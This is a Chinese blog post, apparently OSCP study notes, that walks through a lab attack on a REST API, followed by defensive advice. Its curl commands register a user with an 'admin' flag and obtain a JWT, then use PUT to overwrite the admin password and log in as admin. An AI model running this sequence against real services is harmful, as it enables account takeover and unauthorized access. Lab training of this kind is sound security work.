3-9〔OSCP ? 研記〕? WEB應用攻擊?利用REST API提權

???? ? 鄭重聲明:?本文所有安全知識與技術,僅用于探討、研究及學習,嚴禁用于違反國家法律法規的非法活動。對于因不當使用相關內容造成的任何損失或法律責任,本人不承擔任何責任。 如需轉載,請注明出處且不得用于商業盈利。?

? ? 💥👉點贊?? 關注🔔 收藏?? 評論💬💥?
? ? 更多文章戳👉
Whoami!-CSDN博客🚀

????


𖤐?嘿,經過前面的預熱,我們正式打開這扇門,來吧 !?

𖤐 𝓗𝓮𝔂,?𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀?𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷?!?


→ 信息收集

→ 漏洞檢測

→ 初始立足點

→?權限提升??WEB應用攻擊?利用REST API提權-----我們在這兒~?🔥🔥🔥

→ 橫向移動

→ 報告/分析

→ 教訓/修復??

目錄

1.利用REST API提權

1.1 攻擊流程總覽

1.2 攻擊步驟

1.2.1 API端點發現與分析方法

1.2.2?深度枚舉與功能推測

1.2.3 正確API請求構造

1.2.4 發現注冊功能漏洞(users/v1/register)

1.2.5 注冊管理員賬戶(實現關鍵權限)

1.2.6 獲取身份認證令牌

1.2.7 修改用戶admin密碼

1.2.8 使用新密碼成功登錄admin賬戶

1.3 防御建議

1.3.1 漏洞根本原因分析

1.3.2 即時防護措施

1.3.3 長期加固策略

💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬


1.利用REST API提權

該案例展示了不安全的API設計如何導致整個系統淪陷。詳細分析了通過API枚舉發現漏洞,并利用邏輯缺陷實現權限提升的完整攻擊過程。

1.1 攻擊流程總覽

?

1.2 攻擊步驟

1.2.1 API端點發現與分析方法

接上一回,users/v1/admin/password的api內容:

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed",     # 這意味著請求的URL存在,但我們的HTTP方法不受支持。"type": "about:blank"
}

初始發現

  • 響應碼為?405 Method Not Allowed?而非404,確認端點存在,但http方法不正確。

  • 若響應碼是404 Not Found,表示URL不存在。

💡?默認情況下,curl在執行請求時使用GET方法(只是獲取),因此可以嘗試使用不同的方法(例如POST或PUT)與password API進行交互。

推測:如果在此特定API上允許使用POST和PUT方法,這兩種http方法可以覆蓋用戶憑據(在本例中為管理密碼)。


1.2.2?深度枚舉與功能推測

進一步枚舉發現以下api(命令過程省略)

  • /users/v1/login?- 用戶登錄端點

  • /users/v1/register?- 用戶注冊端點

測試登錄功能:(users/v1/login)

login是嘗試猜測的路徑(盲猜),通常這可能是一個用于登錄操作的API端點。

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i,輸出響應頭+響應主體;如果無-i,僅輸出響應主體。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ "status": "fail", "message": "User not found"}    # 404的原因是用戶不存在

💡響應分析盲猜login是登錄頁面是對的。雖然返回404,但錯誤信息"user not found"暗示API端點有效但參數有問題。

也就是說,我們的請求有問題,但API本身并不存在問題。換句話說,我們需要找到一種正確的方式來與API進行交互,才能成功獲取想要的結果


1.2.3 正確API請求構造

嘗試登錄驗證:使用之前發現的users/v1的API下發現用戶賬戶admin。

kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login
參數說明
-d

進行post請求。后面跟著json格式的請求內容,即:username和password的值。

-H

指定請求頭的Content-Type?為?application/json類型,鍵值對格式。

http...

把這個請求推送到目標API:/users/v1/login

響應結果:用戶名admin存在,API參數格式正確,僅密碼錯誤,需要輸入正確密碼才能登錄成功。

{ "status": "fail", "message": "Password is not correct for the given username."}

🎯重要!

通過這一步目的是構造API請求格式,以上的反饋說明請求格式正確,僅只是密碼錯誤而已。如果格式不正確返回的肯定不是提示密碼不正確。


1.2.4 發現注冊功能漏洞(users/v1/register)

🔄思路!

由于我們不知道管理員的密碼,嘗試另一條路線:可否注冊新用戶,如果注冊成功則就可以使用新用戶登錄而獲得權限。

嘗試注冊新用戶(嘗試構建注冊請求)初始響應:提示缺少必填字段email

kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/register{ "status": "fail", "message": "'email' is a required property"}# 根據message反饋,注冊失敗原因:email是一個必填的屬性,需要補充上email字段內容。

添加必需字段后:用戶名offsecadmin注冊成功,證明API參數正確形成。

kali@kali:~$curl -d 
'{"password":"lab","username":"offsecadmin","email":"123@offsec.com"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

1.2.5 注冊管理員賬戶(實現關鍵權限)

📡推測!

讓我們嘗試添加admin字段,后面跟著一個True值,來表示這個用戶是管理員(可能是權限設置的一部分)。這一步需要靠經驗,靠嘗試!

嘗試注冊管理員賬戶

kali@kali:~$curl -d 
'{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

漏洞利用:成功注冊具有管理員權限的用戶offsec,暴露嚴重的權限控制缺陷。這在設計上是不允許的。


1.2.6 獲取身份認證令牌

使用剛剛新建管理員賬戶offsec登錄(獲取token令牌)

kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login# 成功登錄,并獲取token令牌(供后續利用)
{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message": 
"Successfully logged in.", "status": "success"}

成功獲取:JWT身份驗證令牌,用于后續特權操作。


1.2.7 修改用戶admin密碼

嘗試修改密碼

kali@kali:~$ curl \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \-d '{"password": "pwned"}'# 以下是響應內容,說明修改密碼的方法-d(post方法)不對,因此要嘗試另一種方法(比如put)
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed","type": "about:blank"
}
參數說明
http...

把這個請求推送到目標API:/users/v1/admin/password,修改用戶admin密碼的api

-H

指定請求頭的Content-Type?為?application/json類型,鍵值對格式。

-H'Authorization: OAuth <token>': 請求頭,包含了 OAuth 認證令牌。該令牌用于驗證請求的合法性和授權訪問權限。OAuth 令牌通常表示當前用戶已通過認證,并獲得對相關資源的訪問權限,這里填入的的token表明的是管理員權限。換句話說,所有管理員的權限用token標識。
-d

進行post請求體部分。表示你試圖將管理員密碼更新為?"pwned"。

方法調整:服務器返回了一個錯誤響應,應用程序表示使用的方法POST不正確,所以嘗試另一種方法。比如:PUT方法(以及PATCH方法)通常用于替換一個值,而不是通過POST請求創建一個值。所以嘗試從POST改為PUT方法,成功修改管理員密碼。

kali@kali:~$ curl -X 'PUT' \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \-d '{"password": "pwned"}'
參數說明
-X 'PUT'

指定了HTTP請求方法為?PUT,通常用于更新資源。

最終驗證:這次沒有收到錯誤消息,合理推測修改密碼成功


1.2.8 使用新密碼成功登錄admin賬戶

使用用戶名admin,密碼pwned(修改后的),使用API:/users/v1/login成功登錄,獲得admin的管理員權限。

kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message": 
"Successfully logged in.", "status": "success"}

🔐再次注意!

我們會發現管理員admin反饋的token值,和剛剛新建的管理員offsec是一樣的。

進一步證明:這個token用于證明是管理員權限,用于授權使用。


1.3 防御建議

1.3.1 漏洞根本原因分析

漏洞類型具體表現安全影響
權限控制缺失注冊接口可設置admin字段嚴重
API方法暴露未禁用危險HTTP方法
錯誤信息泄露詳細錯誤消息暴露系統信息
參數驗證不足缺乏輸入驗證和過濾

1.3.2 即時防護措施

  • 🔒?輸入驗證:對所有API參數進行嚴格驗證和過濾

  • 🛡??權限檢查:服務器端驗證用戶權限,不信任客戶端提交的權限字段

  • 🚫?方法限制:禁用不必要的HTTP方法(PUT、DELETE等)

  • 📊?日志監控:記錄所有API訪問和權限變更操作


1.3.3 長期加固策略

  • ??API安全設計:遵循API安全最佳實踐

  • 🔐?身份驗證強化:實施強身份驗證和授權機制

  • 📋?安全測試:定期進行API安全測試和代碼審計

  • 🎓?開發培訓:提高開發人員安全編碼意識


💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬

您的支持是我創作最大的動力!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/922165.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/922165.shtml
英文地址,請注明出處:http://en.pswp.cn/news/922165.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

UE5 基礎應用 —— 07 - 角色藍圖 簡單使用

目錄 一、角色藍圖 1.1 Pawn / Character 1.2 角色基類 1.3 角色基類設置 1.3.1 基礎設置 1.3.2 角色移動和相機旋轉 1.3.3 角色移動 —— 鎖定視角 1.3.4 角色跳躍 1.4 角色派生類設置 1.4.1 添加動畫藍圖 一、角色藍圖 1.1 Pawn / Character Pawn / Character 有什…

流暢的Python(二) 豐富的序列

流暢的Python 第二章&#xff1a;豐富的序列 摘要&#xff1a;在日常Python開發中&#xff0c;我們頻繁與各種數據結構打交道&#xff0c;其中序列類型&#xff08;如列表、元組、字符串&#xff09;是基石。然而&#xff0c;你是否曾因對它們理解不深&#xff0c;而在性能優化…

嵌入式 - ARM6

一、按鍵1. 初始化key.c手冊C32 - IOMUXC1. 復用功能配置IOMUXC_SW_MUX_CTL_PAD_UART1_CTS_B: 低四位&#xff08;0101&#xff09; IOMUXC_SetPinMux(IOMUXC_UART1_CTS_B_GPIO1_IO18, 0);SION(信號監控)1: 0 //0 DISABLED — Input Path is determined by functionality MUX_…

菊水PBZ電源在蓄電池充放電測試中的應用探討

通過高速雙極性電源PBZ系列進行蓄電池恒流&#xff0c;恒壓充電的方法 對于儀器廠商來說&#xff0c;要求“請按照使用說明書使用”是產品的使用方針&#xff0c;或者說是正確用法。但是&#xff0c;作為具有代表性的通用產品&#xff0c;直流電源的實際使用方法可謂五花八門&…

Zephyr嵌入式實時操作系統安裝配置

Zephyr簡介 Zephyr 是一款由 Linux 基金會 托管的開源實時操作系統(RTOS),專為資源受限的嵌入式設備(從微控制器到小型邊緣計算節點)設計,廣泛應用于物聯網(IoT)、工業自動化、消費電子、醫療設備、汽車電子等領域。其核心優勢在于輕量級、高可配置性和對多架構硬件的廣…

Linux系統 SELinux 安全管理與故障排查

一、SELinux 安全上下文管理1. SELinux 簡介SELinux&#xff08;Security-Enhanced Linux&#xff09;是 Linux 內核的強制訪問控制&#xff08;MAC&#xff09;安全子系統&#xff0c;通過基于標簽的訪問控制實現細粒度權限管理&#xff0c;遵循最小權限原則。SELinux 有三種工…

解密完全二叉樹順序存儲之堆結構

前言:各位老鐵好&#xff0c;在前面博客中&#xff0c;筆者分享了有關二叉樹的博客&#xff0c;在那篇博客中&#xff0c;筆者講到了完全二叉樹的存儲結構中有兩種存儲方式&#xff0c;一種是順序存儲&#xff0c;一種是鏈式存儲&#xff0c;鏈式存儲筆者已經帶各位老鐵實現過了…

通過針刺!鵬輝能源移動電源電池革新之作 Secu 系列:不燃電解液加持,充電寶安全新選擇

9月11日&#xff0c;鵬輝能源對外發布新一代移動電源高安全電池Secu系列。該產品通過采用不燃的電解液破解移動電源產品安全難題&#xff0c;直擊當下移動電源安全事故頻發的行業痛點&#xff0c;為移動電源行業帶來更安全、更可靠的半固態電池解決方案。數字化時代&#xff0c…

軟件定義汽車(SDV)與區域電子電氣架構(Zonal EEA)的技術革新

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 做到欲望極簡,了解自己的真實欲望,不受外在潮流的影響,不盲從,不跟風。把自己的精力全部用在自己。一是去掉多余,凡事找規律,基礎是誠信;二是…

在 Docker Compose 中解決文件權限不足的問題

在使用 Docker 和 Docker Compose 構建應用時&#xff0c;由于容器中的文件權限不足而導致某些容器可能無法訪問宿主機上的文件&#xff0c;或者容器內的文件系統無法正確讀取或寫入文件。問題描述在我的項目中&#xff0c;我使用 Docker Compose 來啟動多個服務&#xff0c;并…

認知語義學對人工智能自然語言處理的深層語義分析:理論啟示與實踐路徑

摘要隨著人工智能&#xff08;AI&#xff09;技術的飛速發展&#xff0c;自然語言處理&#xff08;NLP&#xff09;已成為其核心驅動力之一。然而&#xff0c;盡管以大型語言模型&#xff08;LLMs&#xff09;為代表的現代NLP系統在處理語言任務上取得了前所未有的成功&#xf…

React19 中的交互操作

需要安裝的庫 antd-mobile、use-immer在App.jsx 中引入組件 Actionimport "./App.css" import Action from "./pages/action" function App() {return (<><Action></Action></>) }export default Appaction.jsx 組件import LearnI…

倉頡編程語言青少年基礎教程:數組類型

倉頡編程語言青少年基礎教程&#xff1a;數組類型 數組本質上是有序、同類型數據的集合容器&#xff0c;其核心作用是高效組織、訪問和處理批量數據&#xff0c;同時結合語言特性&#xff0c;為開發者提供簡潔、高性能的數據管理方式。例如&#xff1a; main() { let v1: …

C++微基礎藍橋杯之旅9.9-9.12

這里主要還是強制類型轉換的使用//打印字符ASCII碼值 //輸入一個除空格以外的可見字符 //輸出其ASCII值--十進制整數 #include <iostream> using namespace std;int main() {char ch;cin >> ch;//字符cout << (int)ch << endl; return 0; }//打印字符…

邏輯漏洞(上)- 突破功能限制漏洞、用戶信息泄露(邏輯漏洞入門)

漏洞介紹&#xff1a; 在網絡攻防實戰中&#xff0c;常會遇到各種前端限制&#xff0c;繞過限制的方法大多是改包或者修改前端代碼來實現的。 漏洞環境&#xff1a;docker docker-compose up -d 啟動環境后&#xff1a;訪問 http://127.0.0.1:8983/web/# 發現查詢按鈕是無法使用…

tsv文件簡介

初步了解tsv文件在很多 OCR&#xff08;光學字符識別&#xff09;項目中&#xff0c;.tsv文件是標準的訓練數據標注文件&#xff0c;主要用于存儲 “圖像路徑 - 對應文本標簽” 的映射關系&#xff0c;同時可能包含圖像尺寸、文本長度等輔助信息&#xff0c;方便模型讀取訓練數…

apache poi 導出復雜的excel表格

如何導出復雜的excel 表格 如圖表格&#xff0c;存在行和列的合并&#xff0c;邊框&#xff0c;樣式&#xff0c;顏色等。依賴<!-- https://mvnrepository.com/artifact/org.apache.poi/poi --><dependency><groupId>org.apache.poi</groupId><arti…

下載 Eclipse Temurin 的 OpenJDK 提示 “無法訪問此網站 github.com 的響應時間過長”

打開 Eclipse Temurin 的 OpenJDK 的官網下載地址&#xff1a; https://adoptium.net/zh-CN/temurin/releases 問 deepseek&#xff1a; 國內網絡&#xff0c;打不開github.com網頁&#xff0c;提示github.com 的響應時間過長。 國內無法訪問 GitHub 或訪問緩慢&#xff0c;通…

C/C++類型轉換

C/C類型轉換 1. C類型轉換 C 語言中的類型轉換主要分為兩種&#xff1a;隱式類型轉換 (Implicit Conversion) - 由編譯器自動完成。顯式類型轉換 (Explicit Conversion) - 由程序員強制指定&#xff0c;也稱為強制類型轉換。1.2 隱式類型轉換 編譯器在編譯時自動進行的轉換&…

【Java】Windows切換Java8和Java11

現在有些項目要升級到Java17, 所以需要切換不同的java版本。 如何安裝Java8 由于已經安裝了jJava8, 之前的安裝文章&#xff1a;【Java】jdk8安裝——英文版 如何安裝Java17 Java17下載地址 https://www.oracle.com/java/technologies/downloads/#java17-windows 下載到電…